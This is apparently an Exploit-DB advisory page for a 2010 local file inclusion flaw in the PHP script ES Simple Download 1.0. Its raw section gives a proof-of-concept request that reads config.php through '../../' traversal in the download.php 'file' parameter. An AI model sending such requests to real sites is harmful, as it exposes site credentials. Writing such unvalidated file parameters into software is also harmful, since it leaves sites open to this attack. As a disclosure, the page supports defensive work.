ES Simple Download v 1.0. Local File Exclusion/LFI

vendor:

ES Simple Download

by:

Kazza

7,5

CVSS

HIGH

Local File Inclusion (LFI)

CWE

Product Name: ES Simple Download

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:energyscripts:es_simple_download:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

ES Simple Download v 1.0. Local File Exclusion/LFI

The vulnerability exists in ES Simple Download v 1.0. which allows an attacker to access sensitive files outside the web root directory by manipulating the 'file' parameter in the download.php script. The attacker can access the config.php file by sending a crafted request to the download.php script with the 'file' parameter set to '../../config.php'.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the application.

Source

Exploit-DB raw data:

 ----------------------------Information------------------------------------------------
+Name : ES Simple Download v 1.0. Local File Exclusion/LFI
+Autor : Kazza
+email : kazzamagic@list.ru
+Date   : 09.09.2010
+Script  : ES Simple Download v 1.0.
+Price : Freeware
+Language :PHP
+Discovered by Kazza
+Security Group : -GST-German Security Team-
+And all Friends Sites : http://md5cracker.tk - http://gulli.com - http://free-hack.com

----------------------------Vulnerability-----------------------------------------------
+Download : www.energyscripts.com/projects/essdownload/essdownload1.0.zip
+Vulnerability : www.your script/download.php?PHPSESSID="Your Senssid"&file=../*****
+Password Exploitable   : www.your script/download.php?PHPSESSID="Your Senssid"&file=../../config.php
-----------------------------------------------------------------------------------------